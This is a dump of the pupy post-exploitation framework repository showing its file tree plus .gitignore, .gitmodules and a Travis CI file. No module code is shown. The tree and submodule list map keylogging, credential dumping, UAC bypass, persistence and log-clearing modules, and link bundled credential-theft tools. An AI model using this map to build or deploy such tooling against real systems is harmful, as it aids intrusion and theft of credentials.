Showing preview only (5,002K chars total). Download the full file or copy to clipboard to get everything.
Repository: n1nj4sec/pupy
Branch: nextgen
Commit: 56b7aac6b4c5
Files: 643
Total size: 4.7 MB
Directory structure:
gitextract_ustywo0t/
├── .gitignore
├── .gitmodules
├── .travis.yml
├── LICENSE
├── README.md
├── client/
│ ├── additional_imports.py
│ ├── android_sources/
│ │ ├── build-docker.sh
│ │ ├── build.sh
│ │ ├── buildozer-docker.spec
│ │ ├── buildozer.spec.example
│ │ ├── main.py
│ │ └── pp.py
│ ├── build-docker.sh
│ ├── build_library_zip.py
│ ├── common/
│ │ ├── 7zTypes.h
│ │ ├── LzmaDec.c
│ │ ├── LzmaDec.h
│ │ ├── Python-dynload.c
│ │ ├── Python-dynload.h
│ │ ├── Python-stacktrace.c
│ │ ├── Python-stacktrace.h
│ │ ├── debug.c
│ │ ├── debug.h
│ │ ├── jni.h
│ │ ├── jni_md.h
│ │ ├── jni_on_load.c
│ │ ├── lzmaunpack.c
│ │ └── uthash.h
│ ├── gen_library_compressed_string.py
│ ├── gen_resource_header.py
│ ├── mktab.py
│ ├── pyoxidizer-build/
│ │ ├── build_template.sh
│ │ ├── lib/
│ │ │ └── http_parser/
│ │ │ ├── __init__.py
│ │ │ ├── _socketio.py
│ │ │ ├── http.py
│ │ │ ├── pyparser.py
│ │ │ ├── reader.py
│ │ │ └── util.py
│ │ ├── linux-builder.Dockerfile
│ │ ├── pyoxidizer.bzl
│ │ └── requirements.txt
│ ├── requirements.txt
│ ├── sources-linux-py3/
│ │ ├── .gitignore
│ │ ├── Dockerfile.linux-builder
│ │ ├── LICENSES.txt
│ │ ├── Makefile
│ │ ├── Python-dynload-os.h
│ │ ├── Python.SunOS10.Setup.dist
│ │ ├── build-docker.sh
│ │ ├── build_c_ext.py
│ │ ├── buildenv-sunos.sh
│ │ ├── compat/
│ │ │ ├── bits/
│ │ │ │ ├── sched.h
│ │ │ │ └── stat.h
│ │ │ ├── ifaddrs.h
│ │ │ └── sched.h
│ │ ├── daemonize.c
│ │ ├── daemonize.h
│ │ ├── decompress.c
│ │ ├── decompress.h
│ │ ├── docker/
│ │ │ └── pyenv-setup-build.patch
│ │ ├── fixes.c
│ │ ├── fixes.h
│ │ ├── ld_hooks.c
│ │ ├── ld_hooks.h
│ │ ├── main_exe.c
│ │ ├── main_so.c
│ │ ├── memfd.h
│ │ ├── pupy.c
│ │ ├── pupy.ldscript
│ │ ├── pupy.so.ldscript
│ │ ├── pupy_load.c
│ │ ├── pupy_load.h
│ │ ├── revision.h
│ │ ├── tmplibrary.c
│ │ └── tmplibrary.h
│ └── sources-windows-py3/
│ ├── .gitignore
│ ├── GetProcAddressR.c
│ ├── GetProcAddressR.h
│ ├── LICENSES.txt
│ ├── LoadLibraryR.c
│ ├── LoadLibraryR.h
│ ├── Makefile
│ ├── MemoryModule.c
│ ├── MemoryModule.h
│ ├── MyLoadLibrary.c
│ ├── MyLoadLibrary.h
│ ├── Python-dynload-os.h
│ ├── ReflectiveDllInjection.h
│ ├── ReflectiveLoader.c
│ ├── ReflectiveLoader.h
│ ├── actctx.c
│ ├── actctx.h
│ ├── base_inject.c
│ ├── base_inject.h
│ ├── build-docker.sh
│ ├── in-mem-exe.c
│ ├── main_exe.c
│ ├── main_reflective.c
│ ├── postmortem.c
│ ├── postmortem.h
│ ├── pupy.c
│ ├── pupy_load.c
│ ├── pupy_load.h
│ ├── remote_thread.c
│ ├── remote_thread.h
│ ├── resource_python_manifest.c
│ ├── thread.c
│ └── thread.h
├── pupy/
│ ├── .dockerignore
│ ├── __init__.py
│ ├── agent/
│ │ ├── __init__.py
│ │ ├── __main__.py
│ │ ├── _linux_memfd.py
│ │ ├── config.py
│ │ ├── dl_hacks.py
│ │ ├── handlers.py
│ │ ├── logger.py
│ │ ├── manager.py
│ │ ├── memimporter/
│ │ │ ├── __init__.py
│ │ │ ├── linux.py
│ │ │ ├── posix.py
│ │ │ ├── utils.py
│ │ │ └── win32.py
│ │ ├── pstore.py
│ │ ├── psutil_hacks.py
│ │ ├── service.py
│ │ ├── ssl_hacks.py
│ │ ├── utils.py
│ │ └── winerror_hacks.py
│ ├── cli/
│ │ ├── __init__.py
│ │ ├── __main__.py
│ │ ├── pupygen.py
│ │ └── pupysh.py
│ ├── commands/
│ │ ├── __init__.py
│ │ ├── config.py
│ │ ├── connect.py
│ │ ├── creds.py
│ │ ├── dnscnc.py
│ │ ├── exit.py
│ │ ├── exposed.py
│ │ ├── gen.py
│ │ ├── help.py
│ │ ├── jobs.py
│ │ ├── listen.py
│ │ ├── logging.py
│ │ ├── python.py
│ │ ├── restart.py
│ │ ├── run.py
│ │ ├── sessions.py
│ │ └── tag.py
│ ├── conf/
│ │ ├── imports_done.py
│ │ └── pupy.conf.default
│ ├── external/
│ │ ├── PowerSploit/
│ │ │ ├── CodeExecution/
│ │ │ │ └── Invoke-ReflectivePEInjection.ps1
│ │ │ └── Recon/
│ │ │ └── PowerView.ps1
│ │ ├── creddump7/
│ │ │ ├── .gitignore
│ │ │ ├── CHANGELOG
│ │ │ ├── COPYING
│ │ │ ├── README.md
│ │ │ ├── cachedump.py
│ │ │ ├── framework/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── addrspace.py
│ │ │ │ ├── newobj.py
│ │ │ │ ├── object.py
│ │ │ │ ├── types.py
│ │ │ │ └── win32/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── domcachedump.py
│ │ │ │ ├── hashdump.py
│ │ │ │ ├── lsasecrets.py
│ │ │ │ └── rawreg.py
│ │ │ ├── lsadump.py
│ │ │ └── pwdump.py
│ │ └── linenum/
│ │ └── linenum.sh
│ ├── library_patches_py2/
│ │ ├── Crypto/
│ │ │ └── Util/
│ │ │ └── _raw_api.py
│ │ ├── linecache.py
│ │ ├── site.py
│ │ ├── sysconfig.py_old
│ │ └── uuid.py
│ ├── library_patches_py3/
│ │ ├── Crypto/
│ │ │ └── Util/
│ │ │ └── _raw_api.py
│ │ ├── bz2.py
│ │ ├── linecache.py
│ │ ├── poster/
│ │ │ ├── __init__.py
│ │ │ ├── encode.py
│ │ │ └── streaminghttp.py
│ │ ├── site.py
│ │ ├── umsgpack.py
│ │ └── xattr/
│ │ └── lib_build.py
│ ├── modules/
│ │ ├── __init__.py
│ │ ├── ad.py
│ │ ├── alive.py
│ │ ├── apps.py
│ │ ├── become.py
│ │ ├── beroot.py
│ │ ├── bypassuac.py
│ │ ├── call.py
│ │ ├── cat.py
│ │ ├── cd.py
│ │ ├── check_vm.py
│ │ ├── clear_logs.py
│ │ ├── cloudinfo.py
│ │ ├── contacts.py
│ │ ├── cp.py
│ │ ├── credcap.py
│ │ ├── creddump.py
│ │ ├── date.py
│ │ ├── display.py
│ │ ├── dns.py
│ │ ├── download.py
│ │ ├── drives.py
│ │ ├── duplicate.py
│ │ ├── echo.py
│ │ ├── edit.py
│ │ ├── env.py
│ │ ├── exit.py
│ │ ├── exploit_suggester.py
│ │ ├── forward.py
│ │ ├── get_hwuuid.py
│ │ ├── get_info.py
│ │ ├── getdomain.py
│ │ ├── getpid.py
│ │ ├── getppid.py
│ │ ├── getprivs.py
│ │ ├── getsystem.py
│ │ ├── getuid.py
│ │ ├── gpstracker.py
│ │ ├── hashmon.py
│ │ ├── hide_process.py
│ │ ├── http.py
│ │ ├── igd.py
│ │ ├── impersonate.py
│ │ ├── interactive_shell.py
│ │ ├── inveigh.py
│ │ ├── ip.py
│ │ ├── isearch.py
│ │ ├── keylogger.py
│ │ ├── last.py
│ │ ├── lazagne.py
│ │ ├── lib/
│ │ │ ├── __init__.py
│ │ │ ├── linux/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── exec_elf.py
│ │ │ │ └── migrate.py
│ │ │ ├── utils/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── cmdrepl.py
│ │ │ │ ├── download.py
│ │ │ │ └── shell_exec.py
│ │ │ └── windows/
│ │ │ ├── __init__.py
│ │ │ ├── memory_exec.py
│ │ │ ├── migrate.py
│ │ │ ├── powerloader.py
│ │ │ ├── powershell.py
│ │ │ └── winpcap.py
│ │ ├── linux_stealth.py
│ │ ├── load_package.py
│ │ ├── lock_screen.py
│ │ ├── logs.py
│ │ ├── loot_memory.py
│ │ ├── ls.py
│ │ ├── mapped.py
│ │ ├── memory_exec.py
│ │ ├── memstrings.py
│ │ ├── migrate.py
│ │ ├── mimikatz.py
│ │ ├── mimipy.py
│ │ ├── mimishell.py
│ │ ├── mkdir.py
│ │ ├── mouselogger.py
│ │ ├── msgbox.py
│ │ ├── mv.py
│ │ ├── nbnsspoof.py
│ │ ├── netcreds.py
│ │ ├── netmon.py
│ │ ├── netstat.py
│ │ ├── odbc.py
│ │ ├── outlook.py
│ │ ├── persistence.py
│ │ ├── pexec.py
│ │ ├── pipecatcher.py
│ │ ├── port_scan.py
│ │ ├── portfwd.py
│ │ ├── powerview.py
│ │ ├── privesc_checker.py
│ │ ├── process_kill.py
│ │ ├── ps.py
│ │ ├── psexec.py
│ │ ├── psh.py
│ │ ├── pwd.py
│ │ ├── pyexec.py
│ │ ├── pyshell.py
│ │ ├── pywerview.py
│ │ ├── rdesktop.py
│ │ ├── rdp.py
│ │ ├── record_mic.py
│ │ ├── reg.py
│ │ ├── rfs.py
│ │ ├── rm.py
│ │ ├── rwmic.py
│ │ ├── scapy_shell.py
│ │ ├── screenshot.py
│ │ ├── search.py
│ │ ├── services.py
│ │ ├── shares.py
│ │ ├── shell_exec.py
│ │ ├── shellcode_exec.py
│ │ ├── smb.py
│ │ ├── smbspider.py
│ │ ├── socks5proxy.py
│ │ ├── ssh.py
│ │ ├── sshell.py
│ │ ├── stat.py
│ │ ├── sudo_alias.py
│ │ ├── tasks.py
│ │ ├── tcpdump.py
│ │ ├── text_to_speach.py
│ │ ├── ttyrec.py
│ │ ├── upload.py
│ │ ├── users.py
│ │ ├── usniper.py
│ │ ├── vibrate.py
│ │ ├── w.py
│ │ ├── webcamsnap.py
│ │ ├── wmic.py
│ │ ├── write.py
│ │ ├── x509.py
│ │ └── zip.py
│ ├── network/
│ │ ├── __init__.py
│ │ ├── conf.py
│ │ ├── lib/
│ │ │ ├── __init__.py
│ │ │ ├── ack.py
│ │ │ ├── base.py
│ │ │ ├── base_launcher.py
│ │ │ ├── buffer.py
│ │ │ ├── clients.py
│ │ │ ├── compat.py
│ │ │ ├── connection.py
│ │ │ ├── convcompat.py
│ │ │ ├── dnsinfo.py
│ │ │ ├── doh.py
│ │ │ ├── echo.py
│ │ │ ├── igd.py
│ │ │ ├── launchers/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── auto_proxy.py
│ │ │ │ ├── bind.py
│ │ │ │ ├── connect.py
│ │ │ │ └── dnscnc.py
│ │ │ ├── msgtypes.py
│ │ │ ├── netcreds.py
│ │ │ ├── ntop.py
│ │ │ ├── ntplib.py
│ │ │ ├── online.py
│ │ │ ├── pac.py
│ │ │ ├── picocmd/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── ascii85.py
│ │ │ │ ├── baseconv.py
│ │ │ │ ├── client.py
│ │ │ │ ├── dns_encoder.py
│ │ │ │ ├── dns_encoder_table.py
│ │ │ │ ├── picocmd.py
│ │ │ │ └── server.py
│ │ │ ├── proxies.py
│ │ │ ├── pupyrpc.py
│ │ │ ├── rpc/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── core/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── brine.py
│ │ │ │ │ ├── channel.py
│ │ │ │ │ ├── consts.py
│ │ │ │ │ ├── netref.py
│ │ │ │ │ ├── nowait.py
│ │ │ │ │ ├── protocol.py
│ │ │ │ │ ├── service.py
│ │ │ │ │ ├── stream.py
│ │ │ │ │ └── vinegar.py
│ │ │ │ ├── lib/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ └── colls.py
│ │ │ │ ├── utils/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── classic.py
│ │ │ │ │ ├── helpers.py
│ │ │ │ │ └── server.py
│ │ │ │ └── version.py
│ │ │ ├── scan.py
│ │ │ ├── servers.py
│ │ │ ├── socks.py
│ │ │ ├── streams/
│ │ │ │ ├── PupySocketStream.py
│ │ │ │ ├── PupyVirtualStream.py
│ │ │ │ └── __init__.py
│ │ │ ├── stun.py
│ │ │ ├── tinyhttp.py
│ │ │ ├── transports/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── cryptoutils/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── aes.py
│ │ │ │ │ ├── ecpv.py
│ │ │ │ │ ├── pbkdf2.py
│ │ │ │ │ ├── rc4.py
│ │ │ │ │ ├── sha.py
│ │ │ │ │ └── xor.py
│ │ │ │ ├── dummy.py
│ │ │ │ ├── ec4.py
│ │ │ │ ├── ecm.py
│ │ │ │ ├── http.py
│ │ │ │ ├── httpwrap.py
│ │ │ │ ├── obfs3/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── obfs3.py
│ │ │ │ │ └── obfs3_dh.py
│ │ │ │ ├── obfscommon/
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── modexp.py
│ │ │ │ │ └── serialize.py
│ │ │ │ ├── rsa_aes.py
│ │ │ │ ├── utils.py
│ │ │ │ └── websocket.py
│ │ │ └── utils.py
│ │ └── transports/
│ │ ├── __init__.py
│ │ ├── dfws/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── ec4/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── ecm/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── http/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── kc4/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── obfs3/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── rsa/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── ssl/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── ssl_rsa/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── tcp_cleartext/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── udp_cleartext/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ ├── udp_secure/
│ │ │ ├── __init__.py
│ │ │ └── conf.py
│ │ └── ws/
│ │ ├── __init__.py
│ │ └── conf.py
│ ├── packages/
│ │ ├── all/
│ │ │ ├── ad.py
│ │ │ ├── cloudinfo.py
│ │ │ ├── fsutils.py
│ │ │ ├── gssapi.py
│ │ │ ├── hwuuid.py
│ │ │ ├── interactive_shell.py
│ │ │ ├── loot_memory.py
│ │ │ ├── memstrings.py
│ │ │ ├── mic_recorder.py
│ │ │ ├── nbnsspoof.py
│ │ │ ├── netmon.py
│ │ │ ├── odbc.py
│ │ │ ├── png.py
│ │ │ ├── pupyps.py
│ │ │ ├── pupyutils/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── basic_cmds.py
│ │ │ │ ├── dns.py
│ │ │ │ ├── netcreds.py
│ │ │ │ ├── portfwd.py
│ │ │ │ ├── psexec.py
│ │ │ │ ├── rdp_check.py
│ │ │ │ ├── rreg.py
│ │ │ │ ├── safepopen.py
│ │ │ │ ├── search.py
│ │ │ │ ├── share_enum.py
│ │ │ │ ├── smbspider.py
│ │ │ │ ├── users.py
│ │ │ │ └── zip.py
│ │ │ ├── pyshell/
│ │ │ │ ├── PythonCompleter.py
│ │ │ │ ├── __init__.py
│ │ │ │ └── controller.py
│ │ │ ├── pyuvproxy.py
│ │ │ ├── rdesktop.py
│ │ │ ├── scandir.py
│ │ │ ├── screenshot.py
│ │ │ ├── ssh.py
│ │ │ ├── tasks.py
│ │ │ ├── tcpdump.py
│ │ │ ├── transfer.py
│ │ │ ├── whole.py
│ │ │ └── winerror.py
│ │ ├── android/
│ │ │ └── pupydroid/
│ │ │ ├── __init__.py
│ │ │ ├── apps.py
│ │ │ ├── call.py
│ │ │ ├── camera.py
│ │ │ ├── contacts.py
│ │ │ ├── gpsTracker.py
│ │ │ ├── text_to_speech.py
│ │ │ ├── utils.py
│ │ │ └── vibrator.py
│ │ ├── darwin/
│ │ │ ├── checkvm.py
│ │ │ ├── hashdump.py
│ │ │ └── keylogger.py
│ │ ├── linux/
│ │ │ └── all/
│ │ │ ├── checkvm.py
│ │ │ ├── fsutils_ext.py
│ │ │ ├── hide_process.py
│ │ │ ├── keylogger.py
│ │ │ ├── linux_stealth.py
│ │ │ ├── mapped.py
│ │ │ ├── memexec.py
│ │ │ ├── notify.py
│ │ │ ├── persistence.py
│ │ │ ├── readlogs.py
│ │ │ ├── secretstorage/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── collection.py
│ │ │ │ ├── defines.py
│ │ │ │ ├── dhcrypto.py
│ │ │ │ ├── exceptions.py
│ │ │ │ ├── item.py
│ │ │ │ └── util.py
│ │ │ ├── services.py
│ │ │ ├── ttyrec.py
│ │ │ └── usniper.py
│ │ ├── patches/
│ │ │ └── all/
│ │ │ └── scapy/
│ │ │ ├── __init__.py
│ │ │ ├── all.py
│ │ │ ├── asn1/
│ │ │ │ └── .ignore
│ │ │ ├── compat.py
│ │ │ ├── config.py
│ │ │ ├── contrib/
│ │ │ │ └── .ignore
│ │ │ ├── data.py
│ │ │ ├── error.py
│ │ │ ├── extlib.py
│ │ │ ├── layers/
│ │ │ │ └── .ignore
│ │ │ ├── main.py
│ │ │ ├── modules/
│ │ │ │ ├── .ignore
│ │ │ │ ├── __init__.py.include
│ │ │ │ ├── six.py.include
│ │ │ │ └── winpcapy.py.include
│ │ │ └── tools/
│ │ │ └── .ignore
│ │ ├── posix/
│ │ │ └── all/
│ │ │ ├── become.py
│ │ │ ├── display.py
│ │ │ ├── hashmon.py
│ │ │ ├── mount.py
│ │ │ ├── ptyshell.py
│ │ │ ├── readlogs.py
│ │ │ ├── readlogs_generic.py
│ │ │ ├── sudo_alias.py
│ │ │ └── uidle.py
│ │ ├── src/
│ │ │ └── VideoCapture/
│ │ │ ├── LGPL.txt
│ │ │ └── src/
│ │ │ ├── VideoCapture.py
│ │ │ ├── fixhtml.py
│ │ │ ├── helvB08.pil
│ │ │ ├── helvetica-10.pil
│ │ │ ├── mkdist.py
│ │ │ ├── vidcap.dsp
│ │ │ ├── vidcap.dsw
│ │ │ └── vidcapmodule.cpp
│ │ └── windows/
│ │ ├── all/
│ │ │ ├── checkvm.py
│ │ │ ├── conpty.py
│ │ │ ├── fsutils.py
│ │ │ ├── fsutils_ext.py
│ │ │ ├── isearch.py
│ │ │ ├── junctions.py
│ │ │ ├── netresources.py
│ │ │ ├── ntfs_streams.py
│ │ │ ├── outlook.py
│ │ │ ├── pipecatcher.py
│ │ │ ├── powerloader.py
│ │ │ ├── powershell.py
│ │ │ ├── ptyshell.py
│ │ │ ├── pupwinutils/
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bypassuac_registry.py
│ │ │ │ ├── bypassuac_token_imp.py
│ │ │ │ ├── drives.py
│ │ │ │ ├── getdomain.py
│ │ │ │ ├── hookfuncs.py
│ │ │ │ ├── keylogger.py
│ │ │ │ ├── memexec.py
│ │ │ │ ├── mouselogger.py
│ │ │ │ ├── msgbox.py
│ │ │ │ ├── processes.py
│ │ │ │ ├── rdp.py
│ │ │ │ ├── security.py
│ │ │ │ ├── shellcode.py
│ │ │ │ └── wdigest.py
│ │ │ ├── readlogs.py
│ │ │ ├── reg.py
│ │ │ ├── uidle.py
│ │ │ ├── winpty.py
│ │ │ └── wql.py
│ │ ├── amd64/
│ │ │ └── vidcap.pyd
│ │ └── x86/
│ │ └── vidcap.pyd
│ ├── payload_templates/
│ │ └── .keep
│ ├── pupylib/
│ │ ├── PupyCategories.py
│ │ ├── PupyClient.py
│ │ ├── PupyClientInitializer.py
│ │ ├── PupyCmd.py
│ │ ├── PupyCompile.py
│ │ ├── PupyCompleter.py
│ │ ├── PupyConfig.py
│ │ ├── PupyCredentials.py
│ │ ├── PupyDnsCnc.py
│ │ ├── PupyErrors.py
│ │ ├── PupyJob.py
│ │ ├── PupyLogger.py
│ │ ├── PupyModule.py
│ │ ├── PupyOffload.py
│ │ ├── PupyOutput.py
│ │ ├── PupyServer.py
│ │ ├── PupyService.py
│ │ ├── PupySignalHandler.py
│ │ ├── PupyTriggers.py
│ │ ├── PupyVersion.py
│ │ ├── PupyWeb.py
│ │ ├── PythonCompleter.py
│ │ ├── __init__.py
│ │ ├── conf.py
│ │ ├── payloads/
│ │ │ ├── __init__.py
│ │ │ ├── dependencies.py
│ │ │ ├── dotnet.py
│ │ │ ├── ps1_oneliner.py
│ │ │ ├── py_oneliner.py
│ │ │ └── rubber_ducky.py
│ │ └── utils/
│ │ ├── __init__.py
│ │ ├── arch.py
│ │ ├── common.py
│ │ ├── credentials.py
│ │ ├── downloader.py
│ │ ├── jarsigner.py
│ │ ├── listener.py
│ │ ├── obfuscate.py
│ │ ├── pe.py
│ │ ├── rpyc_utils.py
│ │ └── term.py
│ ├── scriptlets/
│ │ ├── __init__.py
│ │ ├── daemonize.py
│ │ ├── hide_argv.py
│ │ ├── keylogger.py
│ │ └── persistence.py
│ ├── triggers/
│ │ ├── __init__.py
│ │ ├── example_trigger.py
│ │ └── notification.py
│ └── webstatic/
│ ├── index.html
│ ├── nginx_index.html
│ └── rdesktop/
│ ├── index.html
│ └── rdesktop.js
├── requirements.txt
├── services/
│ ├── echo/
│ │ └── main.go
│ └── proxy/
│ ├── daemon.go
│ ├── dns.go
│ ├── generate.go
│ ├── limits_linux.go
│ ├── main.go
│ ├── message.go
│ ├── streams.go
│ └── types.go
├── setup.py
└── tox.ini
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Temporary files
*.pyc
*.pyo
*.swp
.#*
# Generated sources
client/sources/import-tab.c
client/sources/import-tab.h
client/sources/revision.h
client/sources-linux/revision.h
client/sources-linux/ld_hooks_64.c
client/sources-linux/ld_hooks_64d.c
client/android_sources/buildozer.spec
# Compiled files
client/sources/*.obj
client/sources/*.obj
client/sources/_pupy*
client/sources/resources
client/pyoxidizer-build/lib/pupy
client/pyoxidizer-build/library_patches_py3
client/sources-linux/*.o
client/sources-linux/*.lin
client/sources-linux/*.so
client/sources-linux/resources
pupy/payload_templates/*.toc
pupy/payload_templates/*.dll
pupy/payload_templates/*.exp
pupy/payload_templates/*.lib
pupy/payload_templates/*.zip
pupy/payload_templates/*.exe
pupy/payload_templates/*.lin
pupy/payload_templates/*.lin.so
pupy/payload_templates/*.pyd
# pupy
pupy/.pupy_history
pupy/config
pupy/crypto
pupy/data
pupy/proxy/proxy
build
pupy.egg-info
.pupy_history
pupyvenv
================================================
FILE: .gitmodules
================================================
[submodule "pupy/external/LaZagne"]
path = pupy/external/LaZagne
url = https://github.com/AlessandroZ/LaZagne
[submodule "pupy/external/linux-exploit-suggester"]
path = pupy/external/linux-exploit-suggester
url = https://github.com/mzet-/linux-exploit-suggester
[submodule "pupy/external/pywerview"]
path = pupy/external/pywerview
url = https://github.com/the-useless-one/pywerview.git
[submodule "pupy/external/winpty"]
path = pupy/external/winpty
url = https://github.com/alxchk/winpty
[submodule "pupy/memorpy"]
path = pupy/external/memorpy
url = https://github.com/alxchk/memorpy
[submodule "pupy/external/mimipy"]
path = pupy/external/mimipy
url = https://github.com/n1nj4sec/mimipy.git
[submodule "client/android_sources/python-for-android"]
path = client/android_sources/python-for-android
url = https://github.com/alxchk/python-for-android.git
[submodule "pupy/external/Inveigh"]
path = pupy/external/Inveigh
url = https://github.com/Kevin-Robertson/Inveigh.git
[submodule "pupy/pupy/external/BeRoot"]
path = pupy/external/BeRoot
url = https://github.com/AlessandroZ/BeRoot
[submodule "client/toolchain/docker-old-tc-bootstrap"]
path = client/toolchain/docker-old-tc-bootstrap
url = https://github.com/alxchk/docker-old-tc-bootstrap
[submodule "client/toolchain/docker-old-tc"]
path = client/toolchain/docker-old-tc
url = https://github.com/alxchk/docker-old-tc
[submodule "pupy/external/pyopus"]
path = pupy/external/pyopus
url = https://github.com/alxchk/pyopus
[submodule "pupy/external/WinPwnage"]
path = pupy/external/WinPwnage
url = https://github.com/rootm0s/WinPwnage
[submodule "pupy/external/wesng"]
path = pupy/external/wesng
url = https://github.com/bitsadmin/wesng
[submodule "client/sources-linux/injector"]
path = client/sources-linux/injector
url = https://github.com/kubo/injector
[submodule "pykcp"]
url = https://github.com/n1nj4sec/pykcp
[submodule "pupy/external/pykcp"]
path = pupy/external/pykcp
url = https://github.com/n1nj4sec/pykcp
================================================
FILE: .travis.yml
================================================
os: linux
dist: xenial
services: docker
language: generic
jobs:
include:
- language: generic
- language: python # run flake8 linter on Python 3 in allow_failures mode
python: 3.8
env:
- FLAKE8_SELECT="E9,F63,F7,F82"
install: pip install flake8
before_script: true # override
script: flake8 . --count --select=$FLAKE8_SELECT --show-source --statistics
allow_failures:
- python: 3.8
before_script:
- sudo pip2 install flake8 flake8-per-file-ignores
- sudo apt-get install swig libssl-dev python-all-dev
- cd $TRAVIS_BUILD_DIR/pupy && python2 -m flake8 .
- |
docker pull alxchk/tc-windows & docker pull alxchk/tc-linux32 &
docker pull alxchk/tc-linux64 & docker pull alxchk/tc-android
script:
- export TAG=`if [ "$TRAVIS_BRANCH" == "master" ]; then echo "latest"; else echo $TRAVIS_BRANCH; fi`
- cd $TRAVIS_BUILD_DIR && ./build-docker-images.sh
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.lin
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.so
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.dll
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.exe
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.lin
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.so
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.dll
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.exe
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupy.apk
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-amd64.zip
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-x86.zip
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-amd64.zip
- ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-x86.zip
after_success:
- export TAG=`if [ "$TRAVIS_BRANCH" == "master" ]; then echo "latest"; else echo $TRAVIS_BRANCH; fi`
- |
if [ "$TRAVIS_REPO_SLUG" = "alxchk/pupy" ] && [ -z "$TRAVIS_PULL_REQUEST_SLUG" ]; then
docker login -u $DOCKER_USER -p $DOCKER_PASS &&
cd $TRAVIS_BUILD_DIR/pupy &&
docker push alxchk/pupy:$TAG >/dev/null;
docker push alxchk/pupy:base-$TAG >/dev/null;
fi
env:
global:
- COMMIT=${TRAVIS_COMMIT::8}
- secure: gKv5C4ZTnnzOcQiGrbwEgJhE8SPJLCSIYsdDLpDIHk7OjNu+hGp+frygU25w2NlHyV7cReu7glvyphVwmrQ+FyBRtrKysk+HbU59QiVVOD6x8uyDEZ5qG0NeEOoD9ChdgSy2CSl39Pf8IIcCgZIcyNDukxZbGaUr4LpOSRu8E5H1YT9qxpsDHidQkkcYbZLNlVmhBNZ2LlFXZAu7LwSx111dMTPPVY+zRR1VmaXLuqn90p/L5Cn04xcJHMSc9fhIA3ty463KgDMuM4IXYQS1xCxyZwCpYGbHtuZYDvjmrVhQpEidj5ibcnb+ll+9XNr4JYi6ldVRDmv7J/1DOVd9Iw77LJ0SAGvTDGzTMHRz74Er82xa6zu5NkzW98oti6tCYM9QeAGp4QSJnO0WqgG87y3JW0Ponv3suMG60zPAeLYcuiyhmmOy/v3w0Xq1FHsyqSayN4koJDpUJ7DQQDbSv1Nc0MaG9XZaNVAMab0sWaqbgCMkteNN6w72lAVTck6b/NDV2taONOiNJFJIhiOpO4EZ8g4t7j/ZXpBnP9O+//APQ5WeREEcsbS32y2/R6YiHkKlnPDomfm1fJWZh3KUzRur3PbXvpJkc9D+68UYh02oYlodfi9zoDpCn5OymFPYYI9fibmbuZ1aBwlGPsYnYliAXtlEd/W3XMKT1pWdvbI=
- secure: HOQ7k4Sf9p3CyNy02lBMH5Ff2OeOXQWElLad9vFg0LTkxfnfkGeWP9K+fAR9Lp3nAAd5QRX/2MaJxJTomVHJSCGqjuqrqkBHBLCs7Fgt+bKx2F3QujoqJY4orZHKxpN7YFwAGF4rRzR5Q24xfvIgrnJNWgAoiEKV9yPEFa8k5pJ37MaTFRmOtkrfsN2bdpRc1uD5jbbccVFHPeTDIUa80JRuMBEVDMjJ+CeQq5il3OJUAEdiK03zPDeoCibQCl7UGQxvaWFpYlCUKw1r7d/roJcwlNnYrM0OnImAx0gAGg68vXfZFh/XHE75J3QA7eD/pQ3VdVH1OIgg2Ke3nqO4XMtl6nJGYjC+3fAzq+BOgqvHcwpNzVf6GIXwUl77Bfe1Hlx4uRrCmjbD769bIQLJeUtwKnp9fTjGC8iHEfxW5LsD3PH31vAWfADTB04puGzUAJaBVNwNlnw+dG15lH/LHvjxhJBze2Sj5Mgd2TyNDS+c6dDcIXBnLaajmxs32t87vWNjXjF0wMvBo9G1WMBH3N8UbIV/TPqaT5nINi9ntmY8wFDstNd6g1C3gtfVNsmA7cqb+AbeL8ezETMxwvTrUpPVAu2VcjomgE0zld4kBFvWVs9RQiBfmkChKEZZ3/5u9F9tRbaEcnQukw7+ULsrBqNbZwC4iHtMo3PYCHE0lk8=
